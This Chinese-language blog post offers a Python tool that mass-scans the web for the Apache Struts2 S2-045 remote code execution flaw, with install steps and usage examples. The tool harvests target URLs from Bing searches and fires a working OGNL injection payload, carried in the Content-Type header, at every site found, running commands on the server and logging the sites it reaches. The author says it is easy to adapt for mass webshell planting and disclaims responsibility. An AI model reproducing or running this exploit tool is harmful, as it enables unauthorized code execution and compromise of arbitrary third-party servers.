<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Cache-Control" content="no-siteapp">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=1, minimum-scale=1, maximum-scale=1">
<meta name="renderer" content="webkit">
<meta name="google" value="notranslate">
<meta name="robots" content="index,follow">


<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Akkuman">
<meta name="twitter:description" content="Akkuman的技术博客">
<meta name="twitter:image:src" content="http://127.0.0.1:8000/images/avatar.png">

<meta property="og:url" content="http://127.0.0.1:8000">
<meta property="og:title" content="Akkuman">
<meta property="og:description" content="Akkuman的技术博客">
<meta property="og:site_name" content="Akkuman">
<meta property="og:image" content="http://127.0.0.1:8000/images/avatar.png">
<meta property="og:type" content="website">
<meta name="robots" content="noodp">

<meta itemprop="name" content="Akkuman">
<meta itemprop="description" content="Akkuman的技术博客">
<meta itemprop="image" content="http://127.0.0.1:8000/images/avatar.png">

<link rel="canonical" href="http://127.0.0.1:8000">

<link rel="shortcut icon" href="/favicon.png">
<link rel="apple-itouch-icon" href="/favicon.png">

<link type="text/css" rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/prism.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/zoom.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/main.css">
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>



<script>var cPlayers = [];var cPlayerOptions = [];</script>


<script type="text/javascript">
    var timeSinceLang = {
        year: '年前',
        month: '个月前',
        day: '天前',
        hour: '小时前',
        minute: '分钟前',
        second: '秒前'
    };
    var root = '';
</script>


        <meta name="keywords" content="Tools,Hacker,">
        <meta name="description" content="s2-045漏洞批量检测工具">
        <meta name="author" content="Akkuman">
        <title>s2-045漏洞批量检测工具</title>
    </head>
    <body>
        
        <header id="header" class="clearfix">
  <div class="container-fluid">
      <div class="row">
          <div class="logo">
              <div class="header-logo">
                <script>
                  var getwbclass = function() {
                    var wbclass = ['b', 'w'];
                    return wbclass[Math.floor(Math.random()*wbclass.length)];
                  }
                  var sitetitle = "Akkuman";
                  for (i in sitetitle) {
                    document.write('<a href="/"><span class="' + getwbclass() + ' titlechar">' + sitetitle.charAt(i) + '</span></a>');
                  }          
                  
                </script>
                
                <a id="btn-menu" href="javascript:isMenu();">
                    <span class="b">·</span>
                </a>
                <a href="javascript:isMenu1();">
                    <span id="menu-1" class="bf">1</span>
                </a>
                <a href="javascript:isMenu2();">
                    <span id="menu-2" class="bf">2</span>
                </a>
                <a href="javascript:isMenu3();">
                    <span id="menu-3" class="bf">3</span>
                </a>
              </div>
              <div id="menu-page">
                <a href="/archive.html"><li>归档</li></a>
                <a href="/tag.html"><li>标签</li></a>
                
                <a href="/atom.xml"><li>订阅</li></a>
                
                <a href="about.html"><li>关于</li></a>
              </div>
              <div id="search-box">
                  <div id="search">
                      <input autocomplete="off" type="text" name="s" id="menu-search" placeholder="搜索..." data-root="" />
                  </div>
              </div>
          </div>
      </div>
  </div>
  </header>
        <div id="body" class="clearfix">
            <div class="container-fluid">
                <div class="row">
                    <div id="main" class="col-12 clearfix" role="main">
                        <article class="posti" itemscope itemtype="http://schema.org/BlogPosting">
                            <h1 class="post-title" itemprop="name headline">s2-045漏洞批量检测工具</h1>
                            <div class="post-meta">
                                <p>
                                    Written by <a itemprop="name" href="/about.me.html" rel="author">Akkuman</a> with ♥ on <time datetime="1488893333" itemprop="datePublished"></time> in <a href="/tag/Tools/index.html">Tools </a><a href="/tag/Hacker/index.html">Hacker </a>
                                </p>
                            </div>
                            <div class="post-content" itemprop="articleBody">
                                <p>今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热，个人不太喜欢日站，本来想直接写个批量挂马的东西，但是想想还是算了，如果你有兴趣，改改也很容易，反正不关我的事</p>

<p>测试图
<img src="" data-src="https://ooo.0o0.ooo/2017/03/07/58beb8f48f7df.png" alt="TIM图片20170307212124.png" /></p>

<p><strong>2017-3-8更新</strong>
- 增加了对.do关键词的支持，并且支持任何关键词了，之前我只考虑到了.action关键词并且写死了规则，py版本已经更新，<del>win版的exe未更新，需要的自行用pyinstaller打包为exe</del>
- 之前采用whoami如果返回200状态码就判断存在漏洞，但是现在很多已经修复了，导致访问之后依旧会跳到正常页面返回200状态码，于是我改了一下判断，执行命令echo xxxx，如果返回结果中含有xxxx就证明漏洞存在
- win版exe已经打包
- <strong>重要：建议大家都使用py版本，经过群友测试，exe版本对中文关键词的支持不太好，会出现错误，如果使用上有问题可评论</strong>
- <strong>exe版本会出现扫描过慢的情况，强烈建议py版本，鉴于有些朋友说不会配置python环境，我在下面给出了例子</strong>
- <strong>有些朋友说自定义关键字字典出错，这里要提一句，你的字典txt的编码需要是utf-8，有些东西因为写的比较快没考虑太全，见谅</strong>
<img src="" data-src="https://ooo.0o0.ooo/2017/03/08/58bf96eadc438.png" alt="TIM图片20170308132948.png" /></p>

<p><strong>依赖包的安装</strong></p>

<pre><code class="language-bash">//首先你需要安装一个python，在安装图中记得把有pip的选项和add python to path类似的选项勾选上，然后安装完成后执行python -version和pip
//如果执行python -version提醒你有问题，试着重启一下cmd或者电脑，或者检查你的path环境变量下有没有python的安装的路径，没有的话就加上
//如果正常证明环境安装成功，如果执行pip提醒你没有pip，就把你python安装路径下的Scripts目录加到path环境变量，然后在命令行在执行以下代码
pip install requests
pip install beautifulsoup4
</code></pre>

<p>对于此脚本所放置文件夹下必须有keyword.txt用来存放一行行的关键词
最开始是打算直接全部读取然后一个一个跑，不过感觉时间太漫长，测试时间太久
后来改成关键词就是自己输入，但是又感觉太麻烦
然后就变成了现在的读取关键词然后标号直接输入序号就可以
途中遇到了有的网址直接拒绝访问导致报错，还有的超时一直不返回报文，这些都解决了，个人测试的结果还可以，结果保存在一个txt下，至于你想再干些什么，不关我的事情了</p>

<p><strong>说明</strong>
例子：</p>

<pre><code class="language-bash">python s2-045.py 9 10
</code></pre>

<p>第一个参数是你的文件名，第二个是关键词所对应的序号，第三个是你需要爬行的页数
序号与关键词的对应，可以直接运行<code>python s2-045.py</code>就可以产看帮助
脚本采用的bing搜索引擎，<strong>文件我会打包在下面</strong></p>

<p>上代码,<strong>python2和3通用</strong></p>

<pre><code class="language-python"># encoding:utf-8
import sys,requests
from bs4 import BeautifulSoup

keyword = {}
with open(&quot;keyword.txt&quot;) as f:
    i = 0
    for keywordLine in f:
        keyword[str(i)] = keywordLine.strip()
        i += 1

usage = '''
usage : python s2-045.py 0 10

first parameter is your filename
second parameter is your keyword's number which will be used by Bing
Third parameter is the page number you want to crawl\n'''

def poc(actionURL):
    data = '--447635f88b584ab6b8d9c17d04d79918\
    Content-Disposition: form-data; name=&quot;image1&quot;\
    Content-Type: text/plain; charset=utf-8\
    \
    x\
    --447635f88b584ab6b8d9c17d04d79918--'
	
    header = {
        &quot;Content-Length&quot; : &quot;155&quot;, 
        &quot;User-Agent&quot; : &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&quot;, 
        &quot;Content-Type&quot; : &quot;%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo hereisaexp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&quot;, 
    }
    try:
        request = requests.post(actionURL, data=data, headers=header, timeout = 10)
    except:
        return &quot;None&quot;, &quot;Refused&quot;
    return request.text, request.status_code

def returnURLList():
    keywordsBaseURL = 'http://cn.bing.com/search?q=' +keyword[sys.argv[1]]+ '&amp;first='
    n =0
    i = 1
    while n &lt; int(sys.argv[2]):
        baseURL = keywordsBaseURL + str(i)
        try:
            req = requests.get(baseURL)
            soup = BeautifulSoup(req.text, &quot;html.parser&quot;)
            text = soup.select('li.b_algo &gt; h2 &gt; a')
            if '.action' in keyword[sys.argv[1]]:
                standardURL = [url['href'][:url['href'].index('.action')]+'.action' for url in text if '.action' in url['href']]
            elif '.do' in keyword[sys.argv[1]]:
                standardURL = [url['href'][:url['href'].index('.do')]+'.do' for url in text if '.do' in url['href']]
            else:
                standardURL = [url['href'] for url in text]
        except:
            print(&quot;HTTPERROR&quot;)
            continue
        i += 10
        n += 1
        yield standardURL

def main():
    if len(sys.argv) != 3:
        print(usage)
        for k,v in keyword.items():
            print(&quot;%s is %s&quot;%(k, v))
        sys.exit()

    for urlList in returnURLList():
        for actionURL in urlList:
            text, code = poc(actionURL)
            if 'hereisaexp' in text:
                print(str(code) + &quot;----Successful----&quot; + actionURL + '\n')
                with open(&quot;AvailableURL.txt&quot;,&quot;a&quot;) as f:
                    f.write(actionURL+'\n')
            else:
                print(str(code)+'----'+actionURL+'\n')

if __name__ == '__main__':
    main()
</code></pre>

<p><strong><a href="http://file.codecat.one">下载地址</a></strong></p>

<p><strong>打包了win版，大家可以直接使用，例如在该exe目录下执行<del>（更新的并未打包出exe，如有需要可以自行用pyinstaller打包）</del></strong></p>

<pre><code class="language-bash">s2-045.exe 9 10
</code></pre>

<p><strong>其他用法参照上面</strong>
<strong>转载请注明出处</strong></p>

                            </div>
                            <div style="display:block;" class="clearfix">
                                <section style="float:left;">
                                    <span itemprop="keywords" class="tags">
                                        tag(s): <a href="/tag/Tools/index.html">Tools </a><a href="/tag/Hacker/index.html">Hacker </a>
                                    </span>
                                </section>
                                <section style="float:right;">
                                    <span><a id="btn-comments" href="javascript:isComments();">show comments</a></span> · <span><a href="javascript:goBack();">back</a></span> · 
                                    <span><a href="/">home</a></span>
                                </section>
                            </div>
                            



<div id="comments" class="gen">
    <script>
        document.write('<section id="disqus_thread"></section>');
        var site_comment_load = function disqus() {
            var d = document, s = d.createElement('script');
            s.src = '//Akkum4n.disqus.com/embed.js';
            s.setAttribute('data-timestamp', +new Date());
            (d.head || d.body).appendChild(s);
        }
    </script>
</div>

                        </article>
                    </div>
                </div>
            </div>
        </div>
        <footer id="footer" role="contentinfo">
    <div class="container-fluid">
        <div class="row">
        <div class="col-12">
            &copy; 
            <script type="text/javascript">
                document.write(new Date().getFullYear());
            </script>
            <a href="/">Akkuman</a>.
            Using <a target="_blank" href="http://www.chole.io/">Ink</a> & <a target="_blank" href="/">Story</a>.
        </div>
        </div>
    </div>
</footer>

<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script src="/bundle/js/prism.js"></script>
<script src="/bundle/js/zoom-vanilla.min.js"></script>
<script src="/bundle/js/main.js"></script>

<script>
    window.onload=function(){
        if (window.location.hash!='') {
          var i=window.location.hash.indexOf('#comment');
          var ii=window.location.hash.indexOf('#respond-post');
          if (i != '-1' || ii != '-1') {
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
          }
        }
    }

    function isMenu(){
        if(document.getElementById('menu-1').style.display=='inline'||document.getElementById('menu-1').style.display=='block'){
            $('#search-box').fadeOut(200);
            $('#menu-page').fadeOut(200);
            $('#menu-1').fadeOut(500);
            $('#menu-2').fadeOut(400);
            $('#menu-3').fadeOut(300);
        } else {
            $('#menu-1').fadeIn(150);
            $('#menu-2').fadeIn(150);
            $('#menu-3').fadeIn(150);
        }
    }

    function isMenu1(){
        if(document.getElementById('menu-page').style.display=='block'){
            $('#menu-page').fadeOut(300);
        } else {
            $('#menu-page').fadeIn(300);
        }
    }

    function isMenu2(){
        if(document.getElementById('torTree')){
            if(document.getElementById('torTree').style.display=='block'){
                $('#torTree').fadeOut(300);
            } else {
                $('#torTree').fadeIn(300);
            }
        }
    }

    function isMenu3(){
        if(document.getElementById('search-box').style.display=='block'){
            $('#search-box').fadeOut(300);
        } else {
            $('#search-box').fadeIn(300);
        }
    }

    function isComments(){
        if(document.getElementById('btn-comments').innerText=='show comments'){
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
            site_comment_load();
        } else {
            document.getElementById('btn-comments').innerText='show comments';
            document.getElementById('comments').style.display='none';
        }
    }

    function Search404(){
        $('#menu-1').fadeIn(150);
        $('#menu-2').fadeIn(150);
        $('#menu-3').fadeIn(150);
        $('#search-box').fadeIn(300);
    }

    function goBack(){
        window.history.back();
    }
</script>


<script async>
"use strict";
(function(){
var cp = function(){
    var len = cPlayerOptions.length;
    for(var i=0;i<len;i++){
        var element = document.getElementById('player' + cPlayerOptions[i]['id'])
        while (element.hasChildNodes()) {
            element.removeChild(element.firstChild);
        };
        cPlayers[i] = new cPlayer({
            element: element,
            list: cPlayerOptions[i]['list'],
            });
    };
    cPlayers = [];cPlayerOptions = [];
};
var script = document.createElement('script');
script.type = "text/javascript";
script.src = "https://cdn.bootcss.com/cplayer/3.2.1/cplayer.js";
script.async = true;
if(script.readyState){  
    script.onreadystatechange = function(){
        if (script.readyState == "loaded" ||
            script.readyState == "complete"){
            script.onreadystatechange = null;
            cp();
        }
    };
}else{  
    script.onload = function(){
        cp();
    };
}
document.head.appendChild(script);
})();
</script>

    </body>
</html>
